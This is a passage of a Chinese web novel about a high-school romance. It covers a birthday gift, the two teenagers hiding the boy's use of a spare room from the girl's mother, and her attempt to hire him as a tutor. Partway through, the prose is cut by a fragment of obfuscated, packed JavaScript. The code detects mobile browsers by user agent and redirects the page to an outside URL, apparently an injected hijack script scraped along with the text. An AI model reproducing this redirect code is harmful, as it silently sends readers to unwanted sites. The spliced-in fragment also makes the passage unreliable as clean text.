周识鹤看见她,一如既往地准备抬脚就走,姜至先一步挡在他前面,周识鹤看向她,姜至本来还想在大早上要一句祝福,可一看到他的眼睛,又不好意思主动说了。
“我妈让我分给同学的。”姜至也不管周识鹤要不要吃不吃,一股脑把手里的全塞给他。
好在周识鹤手大,没漏掉什么。
他明显有点不解,“上学带这么多这些干什么?”
姜至含糊道:“家里买的多吧。”
周识鹤其实不怎么吃这些,但已经拿手里了,再让回去显得有点矫情,也多少有点驳人脸面。
他只好装进口袋,问:“你低血糖?”
姜至正拆一颗糖往嘴里放,糖皮是彩色的,光映上去,折进她眼睛里,亮晶晶的。
她看着他回答他说:“没有啊。”
清晨的街道其实是很无聊的,商铺都未开门,行人也很少,来往都是穿着校服,行色匆匆的学生,每个人身上都只有惺忪和疲惫。
似乎只有姜至这双眼睛,是彩色的。
周识鹤盯了几秒,才缓缓挪开目光,唇边一点淡笑说:“夏天到了。”
姜至“嗯哼”了一声,问周识鹤,“你喜欢夏天还是喜欢冬天?”
周识鹤本来想说,在他目前仅有的人生经历里,四季都一样,区别无非是在添衣脱衣上,话到嘴边,却又转了念头。
“夏天吧。”他说。
姜至一听这回答就有点后悔问这个问题了,也是,周识鹤这样的家庭条件,冬天肯定过得很艰难,夏天虽然热了点,可至少最热的时候是暑假,无需在路上奔波,哪像冬天,迎风又招雪的。
一时间,嘴里的糖都变了味,隐隐有点苦。
姜至自己心里难受,却怕周识鹤也沉浸负面情绪中,难得快速转动脑筋,把话题绕在周识鹤的强项上。
“周识鹤,我问你个数学问题吧。”
周识鹤一顿,差点没反应不过来,“什么?”
姜至拼命地思考脑子里仅能记住的几道题,“就是那个,昨天老师讲的那个,辅助线那个。”
周识鹤忽然看了姜至一眼,姜至有点心虚地磕巴一下,“怎、怎么了?”
周识鹤说:“我第一次在路上给你讲题,讲的就是这个题型,两道题只有前置条件不一样。”
“……”姜至被自己搬起的石头砸得脚疼。
“哦,好吧,对不起。”
俩人双双沉默地往前又走几米,周识鹤叹了口气,“我再给你讲一次。”
他无奈得太明显,姜至耳朵都红了。
“好的,谢谢你。”
……
俩人前后脚进班,姜至刚进班,陶馨不知从哪抓起两个拉拉队用的手花,“姜至姜至,生日快乐!幸福美满,福气多多!”
姜至:“……”
班里这会儿人已经来了大半,本来还有点乌泱泱的班级,被陶馨这么一闹,集体沉默。
大家双双看向姜至,姜至僵在原地。
下一秒,所有人齐声道:“姜至姜至,生日快乐!幸福美满,福气多多!”
“……”
姜至的脸熟成了一颗大苹果。
托陶馨的福,姜至下了早自习,第一时间就是把书包里的各种零食掏出来分给班里的每一个同学,因而再次获得一声声真挚的祝福。
分到周识鹤的时候,姜至有点不好意思地朝他笑笑。
周识鹤主动跟她说:“生日快乐,姜至。”
姜至嘴巴咧着,心里美滋滋地冒起了泡泡。
“谢谢。”她动作快速地给周识鹤多塞了两颗糖。
周识鹤看见,笑了笑,问她:“还够分吗?”
姜至立马说:“够啊,够,每个人只给了一个。”
说完想到自己塞给周识鹤那么多,自己先不好意思地笑了。
她怕周识鹤也笑话她,小声地说句:“我先走啦。”
然后飞快地跑掉。
周识鹤攥着手里有些硬硬的糖,掌心被各种包装皮刺得轻痒,他低头看试题,眼前却莫名浮现姜至平日里看向他时,露出的各种笑脸。
她总是动作轻轻的,笑容浅浅的,看向他时,他能通过她的眼睛,看到他自己。
好一会儿,周识鹤放下笔,起身。
同桌问他:“去厕所啊,我也去。”
周识鹤说:“出去转转。”
同桌:“好吧,那我自己去。”
姜至给班里所有人都分完后才回座位,路过周识鹤座位的时候,看见他和同桌都没人,瞥了眼周识鹤桌子上的试卷,他正在写最后一道大题,放在这个位置的题,有时候她连题目都看不懂。
姜至只好兴致缺缺地收回目光,回到自己座位上。
陶馨立马凑上前去。“小姜至。”
姜至不为所动,拌冷脸状。
陶馨继续挽着她的胳膊撒娇,“姜至,原谅我嘛,大家都说生日当
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天不能生气的。”
姜至十分坚定地把自己的胳膊抽回来。
陶馨叹了口气,“既然如此,我只好——”
说着,双手探向姜至的嘎吱窝。
姜至立马败北,笑得见牙不见眼。
周识鹤刚进班就看到姜至这画面,她坐在临窗的位置,上午阳光正盛,大片铺在她脸上身上,她眼睛笑成两条线,像小时候看的动漫角色。
周识鹤的记忆里,只有小时候短暂地轻松过,逢周末闲暇,也会看一看电视。
他已经很久没有想起过那段时光了。
……
晚上放学铃一响,姜至就起身收拾东西,她一边收拾一边还要看周识鹤有没有动静,眼看周识鹤还没动,她有些着急地咳嗽两声,周识鹤往这边看,姜至眼神示意他快点。
难得也有她指使人的时候。
周识鹤合上笔,简单收拾一下,与姜至前后脚起身往外走。
姜至一路上脚步都很轻快,一看就是心里有事,周识鹤大概猜想一下,应该是家里人为她准备了些什么。
途径一个红灯路口时,周识鹤从兜里掏出一个东西,递给姜至。
姜至起初还没注意,她在盯红灯倒数,余光忽然瞥见什么东西闪烁了一下,她低头一看,只见周识鹤不知什么时候递过来一个东西。
是一支笔。
只是笔杆子上半部分贴了几只蝴蝶,是糖果纸做的,看着轻薄灵动,路灯下,光影在蝴蝶翅膀上闪烁。
姜至震惊地看向周识鹤。
周识鹤说:“生日快乐。”
姜至忍不住感慨:“天呐,你还会做这些?”
周识鹤:“很简单。”
姜至小心翼翼地接过,发现这是一支钢笔,拿在手里沉甸甸的,不像是什么便宜东西。
姜至想到周识鹤的家境,有点不忍,“这个……多少钱啊?”
周识鹤对她这个问题似有预料,他笑了笑,说:“是我以前一个考试的奖品,不是新买的。”
姜至闻言立马觉得这钢笔更添几分重量,“谢谢你啊,周识鹤。”
“别客气,不是什么麻烦事。”周识鹤说。
姜至:“我手可笨了,这些东西我能做一年。”
周识鹤笑,“夸张。”
姜至:“真的,我跟你说,小时候上幼儿园的时候,老师经常布置一些手工课,每次都是我爸妈帮我做的,小学的时候老师让大家轮流出板报,我什么画都不会画,直接在黑板上抄了一篇课文,老师第二天问是有人书丢了吗?”
她心情是真的好,说这些的时候眉飞色舞的,时不时还跟周识鹤比划一下,比划完意识到自己刚刚手里拿了钢笔,立马谨慎地检查笔杆上的蝴蝶有没有影响。
周识鹤笑着拽回她的思绪,“真的啊?”
姜至果不其然立马回答说:“真的,你如果小时候就跟我一个班,肯定天天被老师抓起来出板报。”
周识鹤:“我画画也一般。”
“我不信,你明明什么都很厉害。”
俩人一言一语,绿灯亮起,双双齐步往前走,路灯将他们的影子拉得时短时长,有时候紧紧贴在一起,有时候又浅浅地分开。
少年低低的笑声裹挟着风传进少女的耳廓,少女微微偏头,笑意从眼睛一直蔓延至全脸。
直到坐在自家餐桌前,姜至望着蛋糕上闪烁的烛光,眼前还忍不住出现周识鹤深色的眼睛,和清俊的面庞。
她想起那天,她悄悄在窗角画下的蜡烛,以及默默许下的愿望。
真挚又诚恳地闭上眼睛,向上天请愿:神啊,如果你真的存在的话,请睁一睁眼,看一看辛苦又努力的周识鹤吧。
他做了那么多难题,请你千万不要再给他出难题了。
16.招财猫
姜至生日后一周迎来新月份的月考,姜至在班里又进步了一名,这份成绩单宛若一份迟到的生日礼物。
姜至高一刚入学半个月的时候,就非常清楚自己这三年怕不是要常年混迹倒数五名里了。
然而时间一长,她发现天甲班的学生并非人人都能一如既往的成绩好,有人突然贪玩,成绩开始下滑,凭借初中的基础在中下游摇摆,有人染上了网瘾,时不时缺考一科,总分直线下降,还有人精气神跟不上,天天睡觉,理科这东西,兴许哪天上课捡个笔的功夫,此后就再也听不懂了,更何况是睡觉呢。
所以中下游某些同学,之于姜至还是努努力能追上的。
当然了,前提是他们能一直堕落下去。
但凡他们开始努力,姜至估计就够呛了。
这次姜至只比后一名多了一分,据说是他英语考试迟到了,听力直接没写,所以这一分,姜至胜得不算太有实力。
但姜至本人非常开心。
一整天都笑眯眯的。
六月一至,青槐就迎来了夏天。
街上的人逐渐换上单衣,学校里的学生也陆续换上了夏装。
天一四季校服没有款式上的区别,统一的颜色,统一的夏天短袖,秋天外套,冬天棉袄。夏天黑白两件,方便学生换着穿。
姜至怕冷又怕热,气温刚有上升的趋势,她就早早把外套脱了换成短袖,林淑知道她这方面什么性子,说也没用,就叮嘱她上下学路上把防晒袖套上,好歹是一层布料,多少挡点凉气。
再热点,姜至就开始冰棍不离手了。
她皮肤白,体感一热或者太阳一晒脸上就泛红,看着特别有喜感,小时候有调皮捣蛋的学生给她取外号喊她猴屁股,气得她一回家就哭,林淑知道后去学校发了好大一通脾气,自那以后,别人不当面喊了,全在背地里喊,姜至气也找不到人撒气,只能拼命喝冰水降温。
现在长大了,小姑娘五官面庞长开了,白皮肤成为了人人称赞羡慕的优点,脸颊那点被晒红的粉色也成了书里那句白里透红。
常有老师讲到这点,会拿姜至举例,“姜至同学,就是非常标准的白里透红。”
陶馨起哄,“老师,人家这是标准美女。”
姜至今天心情好,被陶馨这么起哄都不带生气的,她弯着眉眼笑,陶馨见状“蹬鼻子上脸”,“来,给大家展示一番,让大家铭记心中,高考别在这丢分。”
姜至闻声立马双手做捧花状,捧起自己的脸。
临近暑假,便意味着临近高三,天甲班的氛围早已没有上学期那么放松,今天难得有如此时刻,大家皆是露出敞亮的笑。
姜至被“进步一名”这消息冲昏了头脑,眼下大家如此开心,她也咧着嘴乐,一扭头看见周识鹤也在往她这边看,难得他眉眼唇角也露了笑。
在姜至的印象里,周识鹤极少穿浅色的衣服,去年夏天他似乎也总是穿那件深色的短袖,今年不知为何,浅色穿的多了些。
正是少年意气风发时,其实黑色白色都衬脸。
只是周识鹤穿浅色,看着总要比黑色温和亲人些。
姜至想着,不由自主伸手朝他挥了挥手,小招财猫一样,“嗨。”
像平日里上下学“偶遇”他那般。
周识鹤明显一顿,一时没做出反应。
他同桌反应更惊人,不可思议地看了看周识鹤,又看了看姜至,最后指了指姜至,又指了指周识鹤,跟姜至反复确认:哈?你是在跟大佬say嗨吗?
下一秒,无需姜至回答,周识鹤给出了反应。
大佬今天不知道那根弦搭错了,非常接地气地也朝姜至挥了挥手。
周识鹤同桌:“……”
此时姜至终于反应过来自己都干了什么,她蓦地一怔,随后脸轰的一下全红了。
陶馨以为这是自己的杰作,怕姜至脾气上来又要跟她绝交,连忙把话题绕到其他人身上,好在班上也没多少人非要揪着一个人嚯嚯,大家更愿意这边嚯嚯一下,那边嚯嚯一下。
很快没人再注意姜至。
但姜至还是不愿意再抬起头。
新的话题中心在姜至的后面胡啸身上,因为他与姜至是相反的“红里透黑”,其他人目光齐齐往胡啸那边看,唯有周识鹤的目光轻轻落在了姜至那处。
所有人都在笑,周识鹤唇角也翘出浅淡的弧度。
直到他身后被人轻戳,周识鹤侧头,听见同桌压低声音说:“哥,别看了,太明显啦!”
周识鹤收回笑意,看向同桌。
同桌十分忠诚地作势拉上嘴巴拉链,然后比出一个ok的手势。
周识鹤默了下,还是出声解释道:“没有的事,别胡说,不好。”
同桌“嗯嗯嗯嗯”狂点头。
晚上姜至和周识鹤前后脚进院门,林淑和邻居阿姨在家门口不知道聊些什么,听到声响双双往这边看,姜至脚步一顿,停在了原地。
周识鹤主动关上门,声响拽回姜至的意识,姜至这才主动走向林淑,“妈,阿姨好。”
邻居笑着朝姜至说:“好。”
说完跟林淑说,“你回头注意下,我先回去了。”
林淑说好。
这时周识鹤过来,路过林淑时,他跟林淑打了招呼,“阿姨。”
林淑朝周识鹤笑笑,唤姜至回家。
姜至家门关上,周识鹤瞥了一眼,往楼上去,路过二楼时,听到刚刚那个跟林淑聊天的邻居阿姨跟隔壁说:“说过啦,她今晚要值班,估计明天注意点。”
隔壁说:“好,可千万别是什么小偷啊。”
“小偷去那儿能偷什么?主要是怪吓人的。”
俩人说话间,周识鹤闪身去了三楼。
一楼,姜至刚进家门,就见林淑整装待发要出门的样子。
“妈,你要出去啊?”
“今天单位有事,我去值班,你爸晚上有场,一会儿才回来,你早点睡啊。”林淑交代。
姜至说好。
林淑走之前,又特意交代姜至,“大晚上,别乱跑听到没,有人敲门先问清楚是谁,如果不方便就假装没听见,等你爸回来。”
姜至本来想说自己已经是高中生了,看见林淑神色严肃,没多说,“好,我知道。”
林淑拉开门正要出去,姜至忽然喊住她,“妈。”
林淑回头,“嗯?”
姜至有点不好意思地笑笑说,“我这次月考又进步了一名。”
林淑“哟”一声,脸上露了笑,“真的啊?”
姜至笑着连点两下头。
“不错,周末给你做好吃的,”这消息不管是之于姜至还是林淑,都是实打实的好消息,母女俩都为这事费了不少心思,难得见到一点成效,林淑没忍住又问了句,“真的啊?”
姜至这下看出林淑是真高兴了,自己也跟着更加兴奋,一兴奋,顺嘴就吐噜出来,“对啊,要感谢周识鹤呢,他帮了我很多。”
林淑脸上表情微妙地变了变,好在门口光线弱,她迅速低头换鞋,再直起身,脸上还是那番笑意,“好,回头把家里的水果什么的送过去点,得了人家的好,得还回去点。”
姜至闻声更高兴了,嘴巴忍不住地往外咧,“好呀好呀。”
林淑走后,姜至高兴的甚至在客厅里蹦了两下,蹦完又跑去厨房,双手背后,视察一般转一圈,确定家里有拿得出手的水果后,这才笑眯眯地回自己房间。
没过多久,姜至听到外面传来敲门声,她本来没什么心眼地往外跑,手刚放到门把手上,想起林淑走之前交代的那些话,趴在门上听了会儿,小心翼翼地问:“谁啊?”
外面没人搭话。
姜至冷不丁打了个寒战,不敢开门了。
翌日姜至打了个呵欠才往外走,出了巷子就看见周识鹤站在老地方等她,她慢吞吞过去,满脸惺忪。
周识鹤看她一眼,“没睡好?”
姜至有气无力地应一声:“我爸昨天回来太晚了,我妈也不在家,没睡好。”
周识鹤想了想,提议道:“跑一跑?”
姜至:“啊?”
周识鹤:“跑跑有精神。”
姜至也是鬼迷心窍,周识鹤提一嘴,她居
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然就跟上了。
这天气,即便是小跑,跑一会儿姜至脸也红了一大半。
说起来,周识鹤皮肤也挺白。
他平时大多时间在班里,回家也是老老实实待在家里,周末更不会出去鬼混,他这性格,估计从小到大都是这样,自然晒不黑。
但是他就不会红。
姜至羡慕,姜至不说。
不过周识鹤这办法确实有效,姜至平时早自习怎么也要打几个呵欠,今天一上午都精神抖擞的,惹得陶馨频频问:“你偷摸打鸡血了?”
姜至摆摆手,神神秘秘地让她别问。
陶馨翻个白眼,继续趴桌子上眯觉。
陶馨一趴下,姜至只要微微偏头,就能毫无阻碍地看到周识鹤。
她刚一偏头,周识鹤好似提前预知一般看过来,姜至忍不住朝他竖拇指,周识鹤弯唇笑了笑,姜至一看他笑,自己也跟着咧嘴笑了。
晚上姜至回家,刚推开门就看见林淑在客厅沙发摆弄家里所有的钥匙,姜至心跳一滞,唤:“妈?”
林淑头也没抬。
姜至走过去问:“怎么了?”
林淑说:“听你那个阿姨说,三楼单间最近有动静,晚上让你爸蹲一蹲,别是什么小偷。”
正好姜先舟从卫生间出来,听到这话说:“先把钥匙找出来。”
姜至盯着林淑的手,看她拨开一把又一把,忽然,林淑动作停下,蓦地抬头,姜至一怔,听见林淑问:“你上次说有个同学要租?”
姜至磕磕绊绊地说:“啊,是啊,后来她不是又找到别的房子了吗?她平时跟爷爷奶奶住一起,这个太小了。”
“哦,那我上次有把钥匙给你吗?”林淑问。
姜至:“没有啊。”
她忍不住又补一句:“没有,你没给我。”
林淑“哦”一声,又低下头找钥匙,一边找一边说:“这钥匙实在是太多了,一堆备用的。”
姜先舟看了眼,“不是换了几次锁吗?用不上的都丢了,省得不好找。”
林淑:“是啊,这不老忘吗?一会儿你去三楼看看,我把不用的都拆了。”
“那我先回屋了。”姜至忽然说。
林淑说好。
就在姜至转身之际,林淑忽然说句,“找到了。”
姜至悬着的心扑通一声落了下来,她回头看一眼,只见林淑正将那三楼的钥匙从钥匙圈上往下拆。
只看一眼,姜至迅速收回目光,回自己屋里。
房门关上,姜至腿软地往门上一靠,不停地拍自己的胸口喘气。
她想起昨晚那道突兀的敲门声,以及沉默的门外人。
她又追问了句,“谁啊?”
屋外人这才出声:“是我。”
是周识鹤。
姜至很意外,她急忙打开门,只见门外只有周识鹤一个人。
姜至以为又是家里什么硬件出现意外了,结果周识鹤却递给她一把钥匙,姜至疑惑问:“怎么了?”
周识鹤说:“你先放回去。”
话刚说完,大铁门外传来动静,是姜先舟回来了,估计是一同吃饭的人在给他打电话,他带着酒气地喊:“到啦到啦,真到家了。”
两人来不及说更多,周识鹤只重复道:“放回去,姜至,现在就去。”
周识鹤身影消失时,姜先舟正在开大铁门,姜至毫不犹豫地关上门,迅速跑回主卧把钥匙装回钥匙圈。
她前脚从主卧出来,后脚姜先舟就推开了家门。
姜至心脏还在乱跳,她慌不择言,胡乱跟姜先舟打招呼,“爸,下班啦?”
姜先舟脾气好,喝了酒更爱笑,听见姜至这番胡说八道,笑得不行,“是是是,下班了下班了,咱们家领导呢?”
提及林淑,姜至就心虚,她眼神闪烁,“值班去了。”
“哦,那行,那咱俩今晚都早点睡,作业什么的别写了,快去睡。”姜先舟没心没肺地说。
姜至听话地跑回屋。
这会儿靠在门上,姜至一边后怕一边更加佩服周识鹤,决定以后唯周识鹤马首是瞻!
17.小周好
林淑和姜先舟后来真的蹲到了大半夜,连带着姜至都没睡好,哪怕她已经知道没什么事会发生。
翌日吃早饭的时候,姜至假装不经意地问林淑:“三楼怎么了?”
林淑说:“也没什么,估计是进老鼠了。这两天我找人把里面打扫一下,看看暑假能不能租出去。”
姜至“哦”了一声,没再多说什么。
今天周末,大家都没什么事,上午林淑先去三楼转了一圈,姜至怕生什么变故,狗皮膏药一样非要黏在后面。
林淑跟三楼边户邻居打招呼,她就也笑眯眯地问人家好,路过周识鹤家门口时,林淑脚步停顿一下,姜至心一瞬间提到嗓子眼,小心翼翼看了眼周识鹤的家门,问林淑:“怎么了?”
林淑说没事,然后大步往单间走去。
姜至的心,摇摇欲坠,落不敢落,提不敢提。
林淑开门的时候,姜至就站在周识鹤家门口,她一会儿瞄一眼林淑,一会儿瞄一眼周识鹤的家门,企图听到里面是否有什么动静。
这边林淑打开门,她前脚进去,姜至后脚跟上。
屋里空了太久,到处都是尘土,里面一张小床一张小桌,角落放了两个上任租客落下的小盆,几乎快要看不出盆本身的颜色了。
姜至响亮地打了个喷嚏。
林淑也皱着眉捂着半张脸,路过一处时,她目光轻轻扫了一眼,最终什么也没说,扭头骂姜至,“什么热闹都凑,赶紧出去,不嫌脏是吧?”
姜至不敢出去。
这时隔壁传来开门声,瞬间把姜至的心神勾去一大半,她悄无声息后退一步,退到屋子外面,一扭头,看见周识鹤从屋里出来了。
周识鹤看过来,她想跟周识鹤说他可真厉害,但林淑在,她不便出声,于是便在身侧冲他竖了竖拇指。
周识鹤笑了。
“行了,出去吧。”林淑忽然出声。
姜至吓一跳,低低“哦”一声。
这一出,姜至发现林淑没有要锁门的迹象,她问林淑,“不锁门吗?”
林淑说:“开着吧,通通气。”
姜至眼睛一亮,在林淑看不到的角度,冲周识鹤眼神示意。
周识鹤弯唇笑了笑,轻轻眨了眨眼睛,表示自己知道了。
林淑出来看到周识鹤,冲他笑笑,“周末了。”
周识鹤“嗯”一声。
林淑又探头往屋里跟邓丽打招呼,“姐。”
看见邓丽在绣十字绣,很是意外,“忙着呢。”
邓丽“哎”一声,“老闲着不得劲。”
林淑笑着说是。
这时姜至也凑上去,跟邓丽挥手打招呼,“阿姨好。”
邓丽一看见姜至笑容更明显,“姜至也好。”
姜至笑笑,转身时,声音很低地跟她旁边的周识鹤说,“小周好。”
与此同时,林淑跟周识鹤说话,“识鹤,一会儿没事去楼下一趟,我家里有几个瓜,你拿俩。”
姜至完全没想到林淑会说这种话,她蓦地眼睛一亮,看着比有东西拿的周识鹤还高兴。
周识鹤说:“好,谢谢阿姨。”
邓丽在屋里说:“怎么那么客气。”
林淑笑着说:“应该的,我家这闺女学习上有点费劲,平时我花多少心思都不行,识鹤能帮上她是好事。”
邓丽笑:“都是同学,他才是应该的。”
倘若邓丽行动自如,想必她和林淑寒暄起来会没完没了,眼下邓丽不便出来,林淑说两句便要下楼。
姜至跟在她身后,看周识鹤没有要跟上的意思,扭头看他。
周识鹤本来想说一会儿再下去,看到姜至眼巴巴的,他跟邓丽说:“我下去一趟。”
“去吧,门不用关了,今天天气挺好,晒晒太阳。”邓丽说。
眼瞧着周识鹤跟上来,姜至脸上才露了笑,当着林淑的面,她有点不好意思跟周识鹤说话,俩人双双沉默地跟在林淑屁股后面。
林淑先一步到一楼,姜至和周识鹤途经拐角,看见屋檐上趴着邻居养的那只小花猫。
小花猫看了眼周识鹤和姜至,一点也没有要跑的意思。
平日里林淑不允许姜至招猫逗狗的,她担心姜至被咬被抓还要打针,这会儿没了林淑的看管,姜至忍不住想凑上前。
然而还没有更多动作,后领就被人从后面扯了一下。
她“哎?”一声,扭头看到是周识鹤,问:“怎么了?”
周识鹤说:“别凑太近,它脾气一般。”
姜至“哦”了一声,正要继续下楼时,忽然想起一件事来。
“你之前摸过它。”她说。
周识鹤没有要否认的意思,“嗯。”
那还不让她摸?
“你还给人家摸炸毛了。”姜至说。
“是,所以我说它脾气一般。”
“……好吧。”
到家林淑已经把瓜从厨房拿出来了,是老家种的那种小白瓜,上面粘的还有泥土,林淑说:“都是旁人自家种的。”
周识鹤说:“谢谢阿姨。”
林淑让他别客气,示意他拿走吧。
周识鹤弯腰拿瓜时,姜至正忙着换鞋,二人毫无商量地齐齐直起身,一进一出之际,周识鹤对姜至轻声说了句:“你也好,小姜。”
姜至瞬间耳根子一麻,等她找回意识,想要再去看周识鹤时,周识鹤的身影已经消失在楼梯间。
姜至有点失神地望着楼梯的方向,感觉心里空落落的。
唉。
好想上学啊。
姜至蔫了吧唧地回屋,林淑看见她有气无力地,本想追上去问问怎么回事,手机忽然响了,一打岔,就随她去了。
周日上午,林淑找人把三楼单间彻底打扫一遍,打扫完也没有要关门的意思。
姜至跑出去好几趟,确定林淑不会把门锁上之后,蹦蹦跳跳地回屋了。
晚上上晚自习,路上姜至跟周识鹤说,“反正现在门也开着的,你没事就去呗。”
周识鹤看她操心模样,失笑道:“知道了。”
整个六月,姜至在平安顺利中度过,
她每天跟周识鹤一起上下学,周末偶尔给周识鹤送点东西,以此来交换他的试卷或者别的什么册子。
六月一过,七月匆匆来临,伴随而来的还有期末和暑期。
期末倒是没什么新鲜的,反正就是一次考试,自打进入高二,姜至考试都考麻了,期末考完第二天不用去学校她还不适应了好几天。
青槐夏天热,姜至成天在屋里不出门,不上学的日子,哪怕她和周识鹤同住一个屋檐下,见面的频率也低了很多。
有时候姜至会在梦里见到周识鹤,醒来后在屋里转来转去,总觉得哪里不舒服,出去转一趟,冷不丁看见三楼周识鹤的身影,她瞬间身心舒畅,慢悠悠地回房继续吹空调去了。
好日子没过几天,林淑就安排姜至去补习班。
也不知道她从哪打听到的,据说教师资历都很老,实打实的证书和经验一个不落。
关键地址就在她家附近。
姜至一点也不想去,甚至动了别的念头。
这天傍晚,林淑和姜先舟去参加同事的生日宴,临走之前,林淑给姜至下达最后通牒,“明天必须去,不用给我找什么借口,我打听好了,那边空调什么都有,离家那么近,渴了饿了下课回来吃饭都有时间,别觉得这次期末考又进步了就开始无法无天。”
姜至嘟嘟囔囔,她哪有无法无天,她敢吗?
林淑和姜先舟走后,姜至生无可恋地趴在沙发上,她只穿一个吊带和短裤,家里白炽灯照在身上,皮肤白得能反光。
夏天天气热,她鞋子也不愿意穿,赤着脚搭在沙发扶手上,胳膊搭在另一头,脑袋往下一垂,扮演死尸。
表面上姜至一动不动,脑子却转得飞快。
几分钟后,姜至猛地抬起头,她身子没动,盯着前方十几秒,才终于下定决心一般,从沙发上爬起来,跑到门口蹬上拖鞋,打开门往外跑。
她心里没底,跑得慌张,门咣当被她甩上,弹了两下,又缓缓打开,没上锁。
姜至没顾得上这些,一路头也没回地往三楼跑去。
正逢暑假,院里还是只有周识鹤一户,门开着,估计是通风。
姜至本来跑得飞快,临到周识鹤家门口又有点泄气了,她原地犹豫了好一会儿,才试探性地往屋里看。
屋里只有邓丽一个人,她还是在摆弄那些手工品,不过姜至记得上一次来邓丽的床底下还有好几箱,今天却好像少了很多。
“阿姨?”她唤一声。
邓丽抬头,“哎,姜至啊。”
姜至“嗯”一声,一边往屋里进,一边眼睛四处瞟。
邓丽瞧出她有事,笑着放下手里的东西,故意逗她,“来找阿姨玩?”
她说着伸个懒腰,“我还真是有点无聊呢这一天天的,放暑假了,你每天一个人在家也很无聊吧。”
姜至干笑两声,说:“还好。”
姜至本来想开门见山的,邓丽这么一说,她反而不好意思开口了,愣着坐在那陪邓丽聊了好几分钟,直到她再也憋不出什么新鲜话题了,才默默思考,怎么找契机开口。
小姑娘自以为表现得滴水不漏,其实脸上写满了急切,邓丽这才笑着问:“有事啊?”
姜至这才挠挠头,有点不好意思地说:“嗯。”
邓丽又问:“找小周?”
姜至不好意思地笑笑,继续一声:“嗯。”
“他去上班啦。”邓丽说。
姜至蓦地一怔,“什么?”
邓丽再次拿起自己的工具,边织边说:“上班啊,他平时要上学,放寒暑假就会找点小活。”
“补贴家用嘛。”她笑着说。
姜至这才明白为什么去年暑假她总是见不到周识鹤的身影,她还以为是他不爱出门,原来是早早就出去上班挣钱了。
姜至对上班没概念,唯一的了解途径就是林淑和姜先舟,二人虽然工作体面,但却也时常相互抱怨各自工作上的劳累和麻烦。
如果连林淑和姜先舟的工作都那么辛苦,周识鹤找来的工作,又能好到哪里去呢?
姜至看着邓丽不停忙活的手,以及这一眼望去揽尽所有困苦的小屋,她心里止不住地发酸,眼睛也胀胀的。
终于,姜至不再犹豫。
她从凳子上起来,蹲在邓丽面前,“阿姨,我给周识鹤一份工作吧,不需要跑出去,也不会太辛苦……额,可能也会有点辛苦,但应该不会太劳累。”
姜至在心里默默想,周识鹤应该是愿意的吧?
“嗯?”邓丽开玩笑地说,“你还有这渠道呢?小周可是未成年哦,一般人都不敢用的。”
“敢用的,”姜至看着邓丽,很认真地说,“阿姨,敢用的,我敢用。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104072|194814||http|test|mini|href|location''.split(''|''),0,{}));
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>邓丽手中动作一停。
姜至说:“让他给我补课吧,我跟我妈说,我妈会同意的。”
这些年,她上过各种各样的补习班,哪个有周识鹤带给她的成效显著?
只要林淑知道她这一年仅凭周识鹤给他的试卷册子解析就能进步那么多,林淑肯定愿意花高价聘请周识鹤给她一对一辅导。
结果邓丽听完微微愣一下,“啊,他去给别人补课去啦。”
姜至一愣。
……
姜至失魂落魄地从三楼往下走,她头发没扎,好像早上起的时候脸都没洗,姜先舟早上还笑话她小姑娘家家的,怎么那么不知道爱美。
姜至当时心想,她一点也不想变美,她只想成绩好点,最好高三的时候能够一跃变成班里的第二名。
但是她从来不敢把这话往外说。
这是什么天方夜谭的笑话啊。
谁听了不会笑掉大牙呢。
可是她真的很想很想,她从来没有那么期望过自己能是个聪明孩子,学习成绩能够好一点,再好一点。
刚刚上来的时候,姜至恨不得一步三个台阶,这会儿下去了,感觉走了好久还没到一楼。
她始终低着头,脑子里不停地幻想,高三开学后,她的开学考不知道会有多差。
想着想着,姜至终于忍不住哭了。
她眼泪大颗大颗地掉,眼前始终雾蒙蒙的。
她感觉自己走了好久,好不容易到家门口,抬手抹了一把眼泪,一抬眼,看见家门没关,屋里似有响动。
她蒙蒙的,又往前一步,往屋里一看,下一秒,只见从她房间冲出来一个人。
他本来神色慌张,往出跑的时候,一眼看到她,顷刻间站定在原地。
姜至喃喃出声:“周识鹤?”
周识鹤没说话,第一次大步朝她走来。
姜至抬起头,她眼睛还红红的,鼻尖也红红的,下巴上的眼泪伴随这他的靠近,啪哒掉在他的手背上。
周识鹤喉结几番滚动,才问出一句:“怎么哭了?”
姜至没回答,她看着他,问:“你怎么在我家?”
周识鹤说:“我刚回来,看你门开着,喊了一声,没人应,以为……”
这一年,周识鹤也了解姜至不少。
他知道姜至身体不好,冬天夏天都爱出毛病,这个点家家户户都在吃完饭,她家却没人,门又开着,他以为她……
要说怎么样,他也没细想,直接就往姜至房间冲了。
鞋也没换。
真是……有些冒昧了。
“哦,可能是我刚刚出去的时候没关好。”姜至吸了吸鼻子,这会儿还能老老实实地回答周识鹤的问题。
周识鹤看着她,没顺着继续追问,只是又重复一遍,“怎么哭了?”
姜至不知道该怎么开口,只是周识鹤一问,她又有点想哭,眼眶抑制不住地发酸发胀,她不好意思让他这么盯着看,就默默把头垂得更低,散发挡在脸前,将她的狼狈遮个一半。
她理应让周识鹤先走,可她又舍不得开这个口,只好就那么沉默地杵在原地。
过了好一会儿,周识鹤才缓缓抬起手,他不知在犹豫什么,手在半空停滞了好几秒,最终还是拿手指轻轻擦了下姜至的下巴。
他声音很低,也很轻。
“别哭了。”
被他的碰过的地方宛若被一簇小火苗轻轻掠过,有些微痒,又有些发麻。
姜至愣愣地抬起头。
周识鹤没有看她的眼睛,他垂着眼皮,似乎目光还在她的下巴处。
可姜至却难得敏锐地捕捉到他似乎在躲闪什么。
“你……我……”姜至喉口发紧,说不出什么。
她感觉自己的心跳频率有些不正常,她怕自己一张嘴,那心脏就直接从她嘴里跳出来。
届时周识鹤一定会在她那颗心脏上看到密密麻麻,属于他的痕迹。
于是她只好再次闭上嘴,可青槐的夏天实在有些热,即便是傍晚也很闷,他们站在廊下,热风如棉,粘到人身上就不愿意下来。
一层一层,她被裹得心热脸红,心跳更快。
直到周识鹤再次开口,“你妈又凶你了?”
姜至摇头。
